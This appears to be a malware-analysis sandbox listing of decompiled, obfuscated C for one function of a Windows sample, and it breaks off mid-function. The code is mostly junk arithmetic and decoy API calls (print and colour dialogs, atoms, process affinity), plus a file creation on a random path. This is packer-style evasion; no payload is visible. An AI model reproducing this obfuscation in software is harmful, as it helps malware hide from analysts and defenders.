Download Yara Rule

C-Code - Quality: 85%

			E00405010(void* __ebx, void* __edi) {
				signed int _v8;
				void* _v12;
				signed int _v13;
				char* _v20;
				signed int* _v24;
				intOrPtr _v28;
				signed int _v32;
				int _v36;
				void* _v40;
				signed int _v44;
				void* _v48;
				intOrPtr _v52;
				signed int _v56;
				signed int _v60;
				void* _v64;
				signed short* _v68;
				short _v72;
				intOrPtr _v76;
				signed int* _v80;
				int _v84;
				struct %anon40 _v144;
				signed int _v148;
				intOrPtr _v152;
				intOrPtr _v156;
				int _v160;
				signed int _v164;
				unsigned int _v168;
				int _v172;
				char _v260;
				char _v348;
				void* _v352;
				signed int _v353;
				signed int _v360;
				signed int* _v364;
				intOrPtr _v368;
				signed int _v372;
				signed int _v376;
				signed int _v377;
				signed int _v384;
				char _v396;
				signed int _v400;
				intOrPtr* _v408;
				signed int _v412;
				intOrPtr _v416;
				void* _v420;
				signed int _v421;
				signed short* _v428;
				signed int _v432;
				long _v436;
				intOrPtr _v440;
				signed int _v444;
				signed int _v448;
				signed char* _v452;
				struct %anon38 _v488;
				intOrPtr _v492;
				signed int _v496;
				signed int _v497;
				long _v504;
				signed int _v508;
				void* _v512;
				signed int _v516;
				intOrPtr _v524;
				char _v528;
				signed short* _v532;
				signed int _v533;
				signed int _v540;
				signed int _v544;
				signed int _v545;
				signed int _v552;
				signed int _v553;
				signed int _v560;
				void* _v564;
				int _v568;
				signed int _v569;
				struct tagOFNA _v660;
				signed char* _v664;
				signed int _v668;
				struct tagPSD _v756;
				intOrPtr _v760;
				signed short* _v764;
				union _LARGE_INTEGER _v772;
				signed int _v776;
				intOrPtr* _v780;
				intOrPtr _v1068;
				signed int* _v1072;
				intOrPtr _v1076;
				union _LARGE_INTEGER _v1084;
				intOrPtr _v1088;
				signed int _v1089;
				signed char* _v1096;
				struct %anon38 _v1132;
				intOrPtr _v1136;
				signed int* _v1140;
				char* _v1144;
				intOrPtr _v1436;
				signed char* _v1440;
				signed int _v1444;
				signed char* _v1448;
				intOrPtr _v1452;
				signed int* _v1456;
				signed short* _v1460;
				struct tagPSD _v1548;
				void* _v1552;
				signed int _v1556;
				signed int _v1557;
				signed int _v1558;
				signed char* _v1564;
				signed int _v1568;
				signed int _v1572;
				struct tagPD _v1644;
				signed int _v1648;
				short* _v1652;
				signed int* _v1656;
				void* _v1660;
				signed int* _v1664;
				short _v1668;
				intOrPtr* _v1672;
				intOrPtr _v1676;
				intOrPtr* _v1680;
				short _v1684;
				void* _v1688;
				intOrPtr _v1692;
				signed char* _v1696;
				signed int* _v1700;
				struct _CRITICAL_SECTION _v1724;
				char _v1812;
				signed int _v1816;
				struct tagOFNA _v1908;
				intOrPtr _v1912;
				int _v1916;
				signed int _v1920;
				void* _v1960;
				signed int* _v1964;
				signed int _v1968;
				signed int _v1969;
				intOrPtr _v1976;
				intOrPtr _v1980;
				signed int _v1984;
				signed short _v1988;
				intOrPtr _v2276;
				intOrPtr _v2284;
				void* _v2288;
				short _v2292;
				signed short* _v2296;
				signed int _v2300;
				signed short* _v2304;
				signed short* _v2308;
				int _v2312;
				signed int* _v2316;
				char* _v2320;
				signed char* _v2324;
				signed int _v2328;
				void* _v2332;
				signed int* _v2336;
				signed short* _v2340;
				signed int _v2344;
				signed short* _v2348;
				char _v2460;
				char _v2464;
				char _v2468;
				char _v2472;
				signed int _v2476;
				signed int _v2480;
				signed int _v2484;
				signed short _v2488;
				char _v2492;
				signed int _v2496;
				signed int _v2500;
				char _v2504;
				signed int _v2508;
				char _v2512;
				signed int _v2516;
				char _v2520;
				intOrPtr _t2328;
				signed int _t2380;
				void* _t2401;
				char* _t2445;
				void* _t2577;
				signed int _t2600;
				void* _t2630;
				char* _t2675;
				char* _t2715;
				void* _t2717;
				signed char* _t2763;
				signed int _t2802;
				intOrPtr _t3080;
				signed int _t3102;
				void* _t3114;
				signed char _t3243;
				signed int _t3362;
				signed char _t3374;
				signed char* _t3386;
				signed char _t3400;
				signed char* _t3402;
				signed short _t3455;
				char* _t3462;
				signed char* _t3479;
				signed int _t3499;
				signed char _t3514;
				intOrPtr _t3550;
				intOrPtr* _t3595;
				signed int _t3597;
				signed int _t3761;
				signed int _t3815;
				signed int _t4055;
				signed int _t4065;
				signed int _t4098;
				signed int _t4277;
				char* _t4314;
				signed int _t4525;
				signed char* _t4582;
				signed int _t4688;
				signed int _t4773;
				signed int _t4989;
				signed int _t5002;
				void* _t5004;
				void* _t5007;

				_t5004 = __edi;
				_t3114 = __ebx;
				_v545 = 0x59;
				_v1564 =  &_v545;
				_v2300 = 0xe86;
				_v164 = 0x11a;
				_v533 = 0x5e;
				_v1568 = 0x5b00;
				 *0x427004 = _v1568 - 0x6b58;
				_v2296 =  &_v2300;
				_v168 = 0xc79a;
				_v532 =  &_v164;
				_t5007 = _v1568 + 0x6a6d -  *0x427004; // 0x0
				if(_t5007 < 0) {
					if(_v168 < 0x2e3d) {
						 *_v532 =  *_v532 & _v164;
						_v168 = _v168 ^ 0x0000626e;
						_v2300 = ( *_v2296 & 0x0000ffff) << 6;
					}
					L196:
					E00404FA0( *_v532,  *_v1564,  *_v1564 & 0x000000ff);
					return _v1648;
				}
				_v2464 = _v533;
				if(_v2464 == 0x3c) {
					_t4065 =  *0x427004; // 0x0
					_v1568 = _t4065 - 0x66d8;
					 *_v1564 = _v545 & 0x15;
					E00409620();
					L193:
					E00404FA0(_v164,  *_v1564,  *_v1564 & 0x000000ff);
					_v545 = ( *_v1564 & 0x000000ff) >> 6;
					 *_v532 = _v164 | 0x000007ad;
					 *0x427004 = _v1568 + 0x4c8b;
					E004095B0(_v533 & 0x000000ff);
					goto L196;
				} else {
					_v1460 =  &_v2300;
					if(( *_v1564 & 0x000000ff) * 0x82 == (_v545 & 0x000000ff)) {
						if((_v2300 & 0x0000ffff) - ( *_v1460 & 0x0000ffff) == ( *_v2296 & 0x0000ffff)) {
							 *_v1460 = (_v2300 & 0x0000ffff) << ( *_v2296 & 0x0000ffff);
							E00404FE0( *_v1564);
						}
					} else {
						_v497 = _v545;
						if(_v533 != 0x14) {
							if(_v164 + 0x5db ==  *_v532) {
								_v84 = ChooseColorW( &_v488);
							}
						} else {
							_t5002 =  *0x427004; // 0x0
							_v1568 = _t5002 + 0x567b;
							_v168 = _v168 - 0x17db;
							_t4055 =  *0x427004; // 0x0
							_v1568 = _t4055 ^ 0x00005cfc;
						}
						_v1980 = 0x5a48;
						_v1452 = 0xc012;
					}
					 *0x44a878 =  *_v532;
					_v1976 = 0x92a7;
					_v553 = _v545;
					if(_v533 <= 6) {
						_v168 = _v168 | 0x000031b6;
						_t3102 =  *0x427004; // 0x0
						_v1568 = _t3102 >> 0x10;
						 *_v532 = _v164 &  *0x44a878;
					}
					if((_v553 & 0x000000ff) * (_v545 & 0x000000ff) > ( *_v1564 & 0x000000ff) + (_v497 & 0x000000ff)) {
						_v2308 =  &_v2300;
						_v2332 = CreateEventW(0, 0, 0, 0);
						_v664 =  &_v553;
					} else {
						_v533 = _v533 - 0x52;
						_push(_v168);
						_push( *_v2296 & 0x0000ffff);
						_push(_v168);
						E00409650( *_v2296 & 0x0000ffff, _v533 & 0x000000ff);
					}
					_v80 =  &_v168;
					 *0x427786 = (_v545 & 0x000000ff) - ( *_v1564 & 0x000000ff);
					_v1964 =  &_v1568;
					_v2468 = _v533;
					if(_v2468 == 0x5e) {
						_v545 = ( *_v664 & 0x000000ff) - ( *_v1564 & 0x000000ff);
						_v24 =  &_v1568;
						_v56 =  *_v80;
						 *0x449188 = (_v2300 & 0x0000ffff) + ( *_v2296 & 0x0000ffff);
						_v552 =  *_v24;
						_v2472 = _v533;
						if(_v2472 == 0x37) {
							E00404FE0(_v545);
							_v533 = _v533 << 2;
							_v164 =  *0x44a878 &  *_v532;
							_v2312 = ChooseFontW( &_v144);
							 *_v80 =  *_v80 - _v168;
							 *_v24 =  *_v24 + _v552;
							 *0x427786 = ( *_v664 & 0x000000ff) - ( *_v1564 & 0x000000ff);
							_v2300 = ( *_v2296 & 0x0000ffff) + ( *0x449188 & 0x0000ffff);
						} else {
							if(_v2472 == 0x6a) {
								 *_v24 =  *_v24 ^ _v1568;
								_v545 = (_v497 & 0x000000ff) >> ( *_v1564 & 0x000000ff);
								_v2300 =  *0x449188 & 0x0000ffff |  *_v2308 & 0x0000ffff;
							}
						}
						_v2476 =  *_v80;
						if(_v2476 == 0xc79a) {
							_v448 =  *_v80;
							_v1572 = _v1568;
							_v440 = 0x107ec;
							_v364 =  &_v552;
							_t4098 =  *0x44a878; // 0x0
							_v444 = _t4098;
							_v1440 =  &_v533;
							_v1816 = _v2300;
							_v13 =  *_v664;
							_v168 =  *_v80 ^ _v448;
							if(( *_v80 & _v448) == _v56 + _v168) {
								if( *_v1964 -  *_v24 == _v1568 +  *_v364) {
									E00404FA0( *_v532, _v497,  *_v1564 & 0x000000ff);
									 *_v364 = _v552 | _v1572;
									_v56 = _v448 >>  *_v80;
									 *_v2296 = ( *_v2296 & 0x0000ffff) << (_v2300 & 0x0000ffff);
									 *0x427786 =  *_v664 & 0x000000ff ^ _v545 & 0x000000ff;
									_v552 = _v1568 - _v516;
									E00404FA0(_v444,  *_v1564, _v13 & 0x000000ff);
								}
							} else {
								_v516 = _v552;
								_v668 = _v2300;
								_t3080 =  *_v1964 - _v552;
								if( *_v24 -  *_v364 != _t3080) {
									__imp__PrintDlgExW( &_v348);
									_v28 = _t3080;
									 *_v664 = (_v545 & 0x000000ff) + (_v497 & 0x000000ff);
									_v168 = _v448 &  *_v80;
									_v516 = _v1568 +  *_v24;
								}
								_v412 = AddAtomW(L"CDJKm.Xstel4T");
							}
							_v1912 = 0xd6f8;
							if(( *_v80 & _v168) < _v56 + _v448) {
								while(_v1912 > 0xcb16) {
									 *_v364 = _v1568 ^  *_v1964;
									_v516 =  *_v364 << _v1568;
									_v1568 = _v1572 -  *0x427004;
									_v497 = (_v13 & 0x000000ff) + ( *_v664 & 0x000000ff);
									_v668 =  *_v2308 & 0x0000ffff &  *_v1460 & 0x0000ffff;
									 *_v80 = _v168 - _v448;
									 *_v1964 = _v1572 +  *_v364;
									_v1568 =  *_v1964 - _v1572;
									 *_v80 =  *_v80 + _v56;
									_v1912 = _v1912 - 0x27;
									_v1816 = ( *_v2308 & 0x0000ffff) - ( *_v1460 & 0x0000ffff);
									 *0x427786 = ( *_v664 & 0x000000ff) - (_v553 & 0x000000ff);
									_v533 =  *_v1440 + 0x1b;
									 *_v532 = _v444 - _v164;
									_v56 = _v168 ^ _v448;
									_v552 = _v516 | _v1572;
									_v545 = (_v553 & 0x000000ff) << ( *_v1564 & 0x000000ff);
									_v1816 = ( *_v2308 & 0x0000ffff) >> (_v668 & 0x0000ffff);
									_v552 = _v1572 &  *_v1964;
									_v56 =  *_v80 + _v448;
									 *_v1964 =  *_v1964 -  *_v24;
									 *_v364 =  *_v1964 &  *0x427004;
									_v668 = (_v1816 & 0x0000ffff) + ( *_v2296 & 0x0000ffff);
									 *_v664 = ( *_v664 & 0x000000ff) - (_v553 & 0x000000ff);
									 *_v80 = _v56 + _v168;
									 *_v364 = _v552 -  *_v1964;
									_v1572 =  *_v364 +  *_v24;
									_v1572 = _v1568 >> _v552;
									_v1572 =  *_v364 | _v552;
									 *_v532 = _v444 ^ _v164;
									_v533 =  *_v1440 << 1;
									 *_v1460 = _v2300 & 0x0000ffff &  *_v2296 & 0x0000ffff;
									 *_v1564 = ( *_v664 & 0x000000ff) - (_v497 & 0x000000ff);
									_v448 =  *_v80 + _v56;
									_v448 =  *_v80 + _v56;
									 *_v2296 = (_v668 & 0x0000ffff) - ( *_v1460 & 0x0000ffff);
									_v497 =  *_v664 & 0x000000ff &  *_v1564 & 0x000000ff;
									 *_v364 =  *_v364 -  *_v24;
									 *0x44a878 = _v164 +  *_v532;
									_v1568 =  *_v364 - _v1572;
									_v552 = _v516 + _v1568;
									_v545 = ( *_v664 & 0x000000ff) >> ( *_v1564 & 0x000000ff);
									_v2300 =  *_v2296 & 0x0000ffff ^ _v668 & 0x0000ffff;
									 *_v80 = _v168 << _v448;
								}
								 *_v24 = _v1572 |  *_v1964;
								_v1088 = 0x6fd4;
								_v2480 =  *_v24;
								if(_v2480 == 0x59fe) {
									L38:
									 *_v532 = _v164 & _v444;
									L187:
									E00409620();
									goto L188;
								}
								if( *_v532 + _v164 <= _v444 -  *0x44a878) {
									if( *_v532 + _v164 == _v444 -  *0x44a878) {
										_v516 =  *_v364 - _v552;
										E004095E0();
										_v1572 = _v552 >> _v516;
										 *_v80 = _v168 | _v448;
										_v516 = _v1572 << _v1568;
									}
								} else {
									_v1660 = GetCurrentThread();
									_v2484 = _v552;
									if(_v2484 == 0x352a) {
										_v533 =  *_v1440 - 0x7e;
										 *0x449188 = _v1816 & 0x0000ffff &  *_v1460 & 0x0000ffff;
										_v497 = ( *_v664 & 0x000000ff) + ( *_v1564 & 0x000000ff);
									} else {
										if(_v2484 == 0x6e5c) {
											 *_v80 = _v448 + _v168;
										}
									}
								}
								_v400 =  *_v1460;
								_v452 =  &_v13;
								 *0x44a864 = _v1568;
								_v1568 = _v552 ^  *_v1964;
								_v52 = 0xf44d;
								if(( *_v80 & _v448) == _v168 + _v56) {
									L186:
									_v56 = _v168 - _v448;
									_v516 = _v1568 +  *0x427004;
									_v2312 = PageSetupDlgW( &_v756);
									 *_v24 = _v516 -  *_v364;
									_v553 = (_v13 & 0x000000ff) + (_v497 & 0x000000ff);
									_v2300 = ( *_v1460 & 0x0000ffff) - ( *_v2308 & 0x0000ffff);
									 *_v532 =  *_v532 & _v444;
									goto L187;
								} else {
									_v377 =  *_v1440;
									 *0x44918c = ( *_v2308 & 0x0000ffff) + ( *_v1460 & 0x0000ffff);
									_v56 =  *_v80 << _v448;
									_v2488 =  *0x44a878;
									if(_v2488 == 0x1fd) {
										 *0x449188 = (_v668 & 0x0000ffff) + ( *_v2296 & 0x0000ffff);
										_v13 = ( *_v1564 & 0x000000ff) + (_v545 & 0x000000ff);
										_v1572 =  *_v1964 -  *_v24;
										_v352 = ChooseColorW( &_v1132);
									} else {
										if(_v2488 == 0x43f) {
											_v516 =  *_v1964 |  *_v24;
											 *_v452 = (_v13 & 0x000000ff) >> (_v545 & 0x000000ff);
											_v2300 =  *_v2296 & 0x0000ffff ^ _v1816 & 0x0000ffff;
											_v168 =  *_v80 - _v448;
											_v1572 =  *_v364 &  *_v24;
											 *_v1964 =  *_v364 + _v1572;
											_v56 = _v448 - _v168;
										}
									}
									if( *_v532 - _v164 == _v444 +  *0x44a878) {
										L185:
										 *_v1964 = _v516 &  *0x44a864;
										 *_v80 =  *_v80 ^ _v448;
										goto L186;
									} else {
										while(_v1088 > 0x1dcc) {
											_v1572 = _v552 >> _v516;
											_v516 =  *_v24 <<  *_v1964;
											 *_v1440 = _v377 | _v533;
											 *_v532 =  *0x44a878 - _v444;
											 *_v664 = ( *_v452 & 0x000000ff) - ( *_v1564 & 0x000000ff);
											 *_v2296 =  *_v2308 & 0x0000ffff & _v400 & 0x0000ffff;
											 *_v80 =  *_v80 + _v448;
											_v1568 =  *_v1964 +  *_v364;
											_v497 = ( *0x427786 & 0x000000ff) + (_v13 & 0x000000ff);
											_v2300 = (_v1816 & 0x0000ffff) - (_v668 & 0x0000ffff);
											 *_v80 = _v448 + _v168;
											_v516 = _v552 -  *_v1964;
											 *_v24 =  *_v1964 -  *0x44a864;
											 *0x44a878 = _v444 - _v164;
											_v553 = (_v545 & 0x000000ff) << ( *_v1564 & 0x000000ff);
											 *_v2296 = ( *_v1460 & 0x0000ffff) >> ( *_v2308 & 0x0000ffff);
											 *_v24 = _v1572 ^ _v552;
											 *_v24 = _v1572 | _v516;
											_v164 = _v444 &  *_v532;
											_v568 = IsProcessorFeaturePresent(5);
											_v533 =  *_v1440 - _v377;
											_v668 = ( *_v2296 & 0x0000ffff) + ( *_v1460 & 0x0000ffff);
											 *_v452 =  *_v452 & 0x000000ff &  *_v664 & 0x000000ff;
											 *0x44a878 =  *_v532 + _v444;
											_v168 = _v448 +  *_v80;
											_v516 = _v552 -  *_v364;
											_v516 = _v1572 -  *_v1964;
											_v1088 = _v1088 - 0xfa;
											_v1568 =  *_v24 + _v552;
											 *_v1460 = ( *_v2296 & 0x0000ffff) >> ( *_v2308 & 0x0000ffff);
											 *_v664 =  *_v1564 & 0x000000ff ^  *_v452 & 0x000000ff;
											_v448 =  *_v80 << _v168;
											_v552 = _v1572 | _v516;
											_v2292 = DeleteAtom(_v412 & 0x0000ffff);
											_v1572 =  *_v364 &  *_v1964;
											 *_v80 = _v448 - _v168;
											 *_v1564 = ( *_v1564 & 0x000000ff) + ( *0x427786 & 0x000000ff);
											_v1916 = SetEvent(_v2332);
											_v668 = ( *_v2308 & 0x0000ffff) + ( *_v2296 & 0x0000ffff);
											_v533 =  *_v1440 - _v377;
											_v444 =  *_v532 & _v164;
											_v448 = _v56 + _v168;
											_v552 =  *_v1964 -  *_v24;
											 *_v1564 = ( *_v664 & 0x000000ff) - (_v13 & 0x000000ff);
										}
										while(_v440 >= 0xc304) {
											_v2300 = ( *_v2296 & 0x0000ffff) + ( *0x44918c & 0x0000ffff);
											_v2292 = AddAtomW(L"Rhz");
											 *_v364 =  *_v364 >>  *_v24;
											 *_v80 = _v448 ^ _v168;
											_v516 = _v552 | _v1568;
											 *_v1964 =  *_v364 <<  *_v24;
											_v13 = _v553 & 0x000000ff &  *_v1564 & 0x000000ff;
											_v1816 = ( *_v2296 & 0x0000ffff) - ( *_v2308 & 0x0000ffff);
											_v168 =  *_v80 - _v56;
											_v552 =  *_v24 +  *_v1964;
											_v516 = _v1572 + _v552;
											 *0x44a864 =  *_v364 -  *_v1964;
											_v440 = _v440 - 0xc4;
											_v516 = _v1572 & _v1568;
											_v377 = _v533 +  *_v1440;
										}
										_v496 =  *_v532;
										_v1089 =  *_v452;
										 *_v1460 = ( *0x449188 & 0x0000ffff) - ( *_v2308 & 0x0000ffff);
										_v372 =  *_v80;
										_v2492 = _v13;
										if(_v2492 == 0x7d) {
											E004095B0(_v533 & 0x000000ff);
										} else {
											if(_v2492 == 0x8f) {
												_v168 =  *_v80 + _v448;
												_v1816 = _v400 & 0x0000ffff ^  *_v1460 & 0x0000ffff;
												 *0x427786 = ( *_v664 & 0x000000ff) >> ( *_v1564 & 0x000000ff);
												 *_v24 = _v552 << _v1568;
												_v56 =  *_v80 | _v372;
												_v1568 = _v552 & _v516;
												 *_v364 = _v552 +  *_v1964;
											}
										}
										 *_v2296 = (_v1816 & 0x0000ffff) - (_v400 & 0x0000ffff);
										 *_v452 = (_v13 & 0x000000ff) + ( *_v664 & 0x000000ff);
										_v384 = _v448;
										 *_v364 = _v1572 +  *_v24;
										while(_v52 < 0xfcb9) {
											 *0x44a878 = _v164 - _v444;
											_v533 = _v377 -  *_v1440;
											 *_v1460 =  *_v1460 & 0x0000ffff & _v2300 & 0x0000ffff;
											_v13 = (_v553 & 0x000000ff) + (_v545 & 0x000000ff);
											_v384 =  *_v80 >> _v168;
											_v1572 = _v1568 <<  *_v1964;
											_v52 = _v52 + 0x31;
											 *_v24 =  *_v364 | _v516;
											_v168 = _v372 ^ _v384;
											_v1568 = _v1572 + _v552;
											 *0x427786 = _v13 & 0x000000ff & _v553 & 0x000000ff;
											_v668 = ( *_v1460 & 0x0000ffff) - ( *_v2296 & 0x0000ffff);
										}
										while(_v1976 < 0xdfd9) {
											 *_v364 = _v1572 -  *_v1964;
											_v168 = _v372 -  *_v80;
											_v1572 =  *_v1964 - _v516;
											_t3815 =  *0x427004; // 0x0
											_v516 = _t3815 + _v1572;
											 *_v1460 = ( *_v2296 & 0x0000ffff) - ( *_v2308 & 0x0000ffff);
											_v1089 = ( *_v664 & 0x000000ff) + ( *_v452 & 0x000000ff);
											_v533 =  *_v1440 & _v377;
											 *_v532 = _v444 | _v496;
											_v168 = _v384 >>  *_v80;
											_v1568 = _v516 ^ _v552;
											 *_v1460 = (_v400 & 0x0000ffff) << ( *_v2296 & 0x0000ffff);
											_v1089 = ( *_v452 & 0x000000ff) + ( *0x427786 & 0x000000ff);
											 *_v80 =  *_v80 - _v56;
											_v1976 = _v1976 + 0xf1;
											 *_v364 = _v1572 &  *_v1964;
											 *_v24 =  *_v1964 +  *_v364;
											 *_v80 =  *_v80 - _v448;
											 *0x427786 = (_v13 & 0x000000ff) - (_v545 & 0x000000ff);
											_v2300 = ( *_v2308 & 0x0000ffff) - ( *_v1460 & 0x0000ffff);
											_t4773 =  *0x44a864; // 0x0
											_v1568 = _t4773 +  *_v24;
											_v1568 =  *_v1964 +  *_v24;
											 *_v80 =  *_v80 + _v56;
											_v1568 =  *_v24 -  *_v1964;
											_v1572 = _v1568 >>  *_v364;
											_v377 = _v533 <<  *_v1440;
										}
										_v428 =  &_v444;
										_v2496 =  *0x449188 & 0x0000ffff;
										if(_v2496 == 0xe1) {
											 *0x427786 = _v545 & 0x000000ff |  *_v452 & 0x000000ff;
											_v2300 = _v1816 & 0x0000ffff ^ _v400 & 0x0000ffff;
											_v384 = _v56 &  *_v80;
											_v2288 = FindTextW( &_v1960);
											 *_v24 =  *_v364 - _v1568;
											_v400 = ( *_v1460 & 0x0000ffff) + ( *_v2296 & 0x0000ffff);
											_v1089 =  *_v1564 & 0x000000ff & _v13 & 0x000000ff;
											 *_v80 =  *_v80 + _v56;
											_v1572 = _v516 +  *_v1964;
										} else {
											if(_v2496 == 0x405) {
												 *_v364 =  *_v364 + _v516;
												 *0x427786 = (_v1089 & 0x000000ff) - ( *_v664 & 0x000000ff);
												_v668 = ( *_v2308 & 0x0000ffff) - (_v2300 & 0x0000ffff);
												_v13 = (_v497 & 0x000000ff) << (_v553 & 0x000000ff);
												 *_v364 =  *_v24 |  *_v1964;
											}
										}
										_v2336 =  &_v1572;
										_v1969 = _v377;
										_v68 =  &_v164;
										_v497 = ( *_v452 & 0x000000ff) >> ( *_v664 & 0x000000ff);
										_v1816 = _v2300 & 0x0000ffff ^ _v400 & 0x0000ffff;
										 *0x427787 =  *_v1440 & _v377;
										_v1664 =  &_v56;
										_v1656 =  &_v372;
										_v60 = _v1568;
										_v60 =  *_v24 + _v1572;
										_v1920 =  *_v1964;
										 *_v452 = ( *_v452 & 0x000000ff) + ( *_v664 & 0x000000ff);
										_v2340 =  &_v668;
										if((_v553 & 0x000000ff) - ( *_v1564 & 0x000000ff) > (_v1089 & 0x000000ff) + (_v13 & 0x000000ff)) {
											_v168 = _v384 & _v372;
											E00404FE0( *_v664);
											_v1568 = _v60 -  *_v1964;
											 *0x427004 = _v552 + _v1572;
											_v56 =  *_v80 - _v384;
										}
										_v545 = ( *_v1564 & 0x000000ff) - ( *_v452 & 0x000000ff);
										 *_v2308 = _v2300 & 0x0000ffff ^ _v400 & 0x0000ffff;
										_v569 = _v533;
										do {
											 *_v68 = _v444 <<  *_v428;
											 *_v1664 = _v372 | _v56;
											_t3243 =  *0x427004; // 0x0
											_v1920 = _v60 >> _t3243;
											_v2300 = _v400 & 0x0000ffff &  *_v1460 & 0x0000ffff;
											 *_v452 = ( *_v664 & 0x000000ff) + ( *_v1564 & 0x000000ff);
											_v552 = _v1572 + _v516;
											_v1452 = _v1452 - 0x4d;
											 *_v1656 = _v168 + _v448;
											_v516 = _v1568 -  *0x427004;
											 *_v2336 =  *_v364 -  *_v1964;
											 *_v2296 = _v668 & 0x0000ffff & _v2300 & 0x0000ffff;
											_v553 = ( *0x427786 & 0x000000ff) - ( *_v664 & 0x000000ff);
											 *_v1664 = _v448 - _v56;
											 *_v364 = _v516 + _v60;
											 *_v24 = _v552 >>  *_v364;
											 *_v24 =  *_v24 <<  *_v2336;
											_v516 =  *_v2336 ^  *_v364;
											 *_v428 =  *_v428 |  *_v68;
											 *_v1440 = _v1969 & _v377;
											_v545 = (_v13 & 0x000000ff) - ( *_v1564 & 0x000000ff);
											 *_v1460 = (_v2300 & 0x0000ffff) - (_v400 & 0x0000ffff);
											_v168 = _v56 + _v384;
										} while (_v1452 >= 0xbaa8);
										_t2328 = _v496 - _v444;
										if(_t2328 == _v164 +  *_v68) {
											if( *_v1440 - _v533 <= (_v1969 & _v569) && ( *_v664 & 0x000000ff) << (_v1089 & 0x000000ff) < ( *_v452 & 0x000000ff |  *_v1564 & 0x000000ff)) {
												 *_v1564 = ( *_v664 & 0x000000ff) + ( *_v452 & 0x000000ff);
												_v1816 = _v668 & 0x0000ffff &  *_v2308 & 0x0000ffff;
												_v552 = _v1568 - _v1572;
											}
										} else {
											__imp__PrintDlgExW( &_v1812);
											_v2284 = _t2328;
											 *_v80 =  *_v1664 +  *_v1656;
											E00404F50(_v1920, _v552, _v1920,  *_v2336);
										}
										if( *_v1440 - _v533 <= _v377 + _v569) {
											if(_v496 +  *_v428 > _v164 + _v444 && (_v164 & _v444) != ( *0x44a878 ^  *_v532)) {
												_v1920 = _v1572 << _v516;
												E004095B0(_v1969 & 0x000000ff);
												_v1816 = ( *_v2308 & 0x0000ffff) >> ( *_v1460 & 0x0000ffff);
												 *_v452 =  *_v452 & 0x000000ff | _v545 & 0x000000ff;
											}
										} else {
											_v448 =  *_v80 -  *_v1656;
											 *_v24 =  *_v24 -  *_v2336;
										}
										if(_v1568 -  *0x427004 < _v552 - _v516) {
											_v377 =  *_v1440 - _v569;
											_v352 = SetProcessAffinityMask(_v48, 0xb);
											 *_v532 = _v164 +  *_v428;
											E004095B0( *_v1440 & 0x000000ff);
											_v2300 = (_v400 & 0x0000ffff) + (_v1816 & 0x0000ffff);
											_v545 = (_v553 & 0x000000ff) + ( *_v452 & 0x000000ff);
											goto L184;
										} else {
											_v2500 = _v496;
											if(_v2500 == 0x108) {
												 *_v1656 =  *_v80 - _v372;
												_v1920 =  *_v364 >>  *_v24;
												E00409620();
											} else {
												if(_v2500 == 0x11a) {
													 *_v24 =  *_v364 |  *_v1964;
													_v1456 =  &_v448;
													 *0x44a860 = _v168;
													asm("cdq");
													_v552 =  *_v364 / 0x795c;
												}
											}
											if(( *_v2336 ^  *_v1964) > _v60 <<  *_v24) {
												_v1969 = _v377 |  *_v1440;
												_v84 = PrintDlgW( &_v1644);
												 *_v68 =  *_v428 &  *_v532;
												 *_v1664 = _v384 + _v372;
												_push( *_v1664);
												_push( *_v2340 & 0x0000ffff);
												_push( *_v1656);
												E00409650(_v2300 & 0x0000ffff,  *0x427787 & 0x000000ff);
											} else {
												_v2504 =  *_v1440;
												if(_v2504 == 0) {
													if( *_v1440 - _v377 != (_v569 & _v1969)) {
														 *_v2340 = (_v1816 & 0x0000ffff) + (_v400 & 0x0000ffff);
														_v1089 = ( *_v664 & 0x000000ff) - (_v13 & 0x000000ff);
														_t3761 =  *0x44a864; // 0x0
														_v552 = _t3761 +  *_v364;
														_v56 =  *_v1456 + _v448;
														 *_v1964 = _v552 +  *_v24;
														_v1572 =  *_v1964 >> _v1568;
														_v1089 =  *_v1564 & 0x000000ff ^  *_v452 & 0x000000ff;
													}
													_v492 = 0x3e57;
												} else {
													 *0x449188 = ( *_v2308 & 0x0000ffff) << ( *_v1460 & 0x0000ffff);
												}
											}
											 *_v2336 = _v1920 - _v516;
											_v148 = _v2300;
											 *_v452 = (_v1089 & 0x000000ff) + ( *_v664 & 0x000000ff);
											if((_v668 & 0x0000ffff) - ( *0x44918c & 0x0000ffff) != (_v400 & 0x0000ffff) * (_v2300 & 0x0000ffff)) {
												InitializeCriticalSection( &_v1724);
												_v1700 =  &_v1920;
												_v372 = _v384 & _v56;
												_v1568 = _v1572 -  *0x427004;
												_v540 =  *_v1700;
												_v1068 = 0x11c;
												 *0x44a87c =  &_v553;
												_v164 = _v444 +  *_v68;
												_v1448 =  &_v533;
												if((_v553 & 0x000000ff) - (_v13 & 0x000000ff) < ( *_v452 & 0x000000ff) + (_v545 & 0x000000ff)) {
													L181:
													_v148 = ( *_v2308 & 0x0000ffff) - ( *_v2296 & 0x0000ffff);
													_v553 =  *_v452 & 0x000000ff & _v497 & 0x000000ff;
													_t2380 = _v56 + _v372;
													_v384 = _t2380;
													__imp__PrintDlgExW( &_v260);
													_v1692 = _t2380;
													 *_v24 = _v516 + _v1568;
													goto L182;
												}
												_v1557 = _v1089;
												_v2300 = ( *_v2296 & 0x0000ffff) - ( *_v2308 & 0x0000ffff);
												 *0x449190 = _v164 << _v496;
												_v2508 = _v540;
												if(_v2508 == 0) {
													_v384 =  *_v1656 |  *_v1456;
													if((_v1089 & 0x000000ff) >> ( *_v452 & 0x000000ff) == ( *_v1564 & 0x000000ff ^  *_v664 & 0x000000ff)) {
														_v1072 =  &_v60;
														 *_v1072 =  *_v24 * 0x5a63;
														_v8 =  *_v1664;
													}
													if((_v552 &  *_v2336) == _v60 +  *_v24) {
														_v497 = ( *0x427786 & 0x000000ff) + (_v1557 & 0x000000ff);
														_v148 = ( *_v2340 & 0x0000ffff) + (_v2300 & 0x0000ffff);
													}
													_v516 =  *_v364 - _v552;
												} else {
													if(_v2508 == 0x4feb) {
														E00404FE0( *_v664);
														 *_v2336 = _v540 - _v516;
													}
												}
												__imp__AssignProcessToJobObject(0, 0);
												 *0x44918a =  *_v1448 +  *_v1440;
												_v2304 =  &_v444;
												_v13 = _v1557 & 0x000000ff &  *_v664 & 0x000000ff;
												_t2401 = CreateFileW(L"DfehXcUb7\\wYi1pD", 0x40000000, 2, 0, 1, 0x100, 0); // executed
												_v420 = _t2401;
												_v76 = 0x3cc1;
												_v400 = (_v668 & 0x0000ffff) - ( *_v2296 & 0x0000ffff);
												if(( *_v2308 & 0x0000ffff | _v2300 & 0x0000ffff) > (_v400 & 0x0000ffff) >> ( *_v2340 & 0x0000ffff)) {
													_v448 =  *_v1656 ^ _v8;
													 *_v1664 =  *_v1456 <<  *_v1656;
